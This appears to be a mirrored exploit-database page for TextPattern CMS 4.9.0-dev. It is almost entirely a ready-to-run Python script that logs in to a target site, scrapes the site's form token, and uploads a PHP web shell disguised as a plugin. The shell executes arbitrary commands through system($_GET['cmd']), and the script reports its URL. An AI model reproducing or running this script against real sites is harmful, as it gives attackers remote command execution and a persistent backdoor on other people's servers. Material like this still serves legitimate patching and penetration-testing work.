Registertextpattern cms 4.9.0dev remote command execution (rce) (authenticated)
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# Exploit Title: TextPattern CMS 4.9.0-dev - Remote Command Execution (RCE) (Authenticated) # Date: 07/04/2021 # Exploit Author: Mevlüt Akçam # Software Link: https://github.com/textpattern/textpattern # Vendor Homepage: https://textpattern.com/ # Version: 4.9.0-dev # Tested on: 20.04.1-Ubuntu #!/usr/bin/python3 import requests from bs4 import BeautifulSoup as bs4 import json import string import random import argparse # Colors RED="\033[91m" GREEN="\033[92m" RESET="\033[0m" parser = argparse.ArgumentParser() parser.add_argument('-t', '--url', required=True, action='store', help='Target url') parser.add_argument('-u', '--user', required=True, action='store', help='Username') parser.add_argument('-p', '--password', required=True, action='store', help='Password') args = parser.parse_args() URL=args.url uname=args.user passwd=args.password session=requests.Session() def login(uname,passwd): data={'lang':'en','p_userid':uname,'p_password':passwd} r_login=session.post(URL+"/textpattern/index.php",data=data, verify=False) if r_login.status_code == 200: print(GREEN,f"[+] Login successful , your cookie : {session.cookies['txp_login']}",RESET) else: print(RED,f"[-] Login failed",RESET) exit() def get_token(): print(GREEN,f"[+] Getting token ",RESET) r_token=session.get(URL+"/textpattern/index.php?event=plugin") soup = bs4(r_token.text, 'html.parser') textpattern = soup.find_all("script")[2].string.replace("var textpattern = ", "")[:-1] textpattern = json.loads(textpattern) return textpattern['_txp_token'] def upload(): file_name=''.join(random.choice(string.ascii_lowercase) for _ in range(10)) file={ 'theplugin':( file_name+".php", """ <html> <body> <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> <input type="TEXT" name="cmd" autofocus> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET['cmd'])){system($_GET['cmd']);} ?> </pre> </body> </html> <!-- """+file_name+" -->" ),# The file_name is used to verify that the file has been uploaded. 'install_new':(None,'Upload'), 'event':(None,'plugin'), 'step':(None,'plugin_upload'), '_txp_token':(None,get_token()), } r_upload=session.post(URL+"/textpattern/index.php",verify=False,files=file) if file_name in r_upload.text: print(GREEN,f"[+] Shell uploaded",RESET) print(GREEN,f"[+] Webshell url : {URL}/textpattern/tmp/{file_name}.php",RESET) else: print(RED,f"[-] Shell failed to load",RESET) print(RED,f"[-] Bye",RESET) exit() if __name__=="__main__": login(uname,passwd) upload() print(GREEN,f"[+] Bye",RESET)
Textpattern cms 4.9.0dev remote command execution (rce) (authenticated) Vulnerability / Exploit Source : Textpattern cms 4.9.0dev remote command execution (rce) (authenticated)
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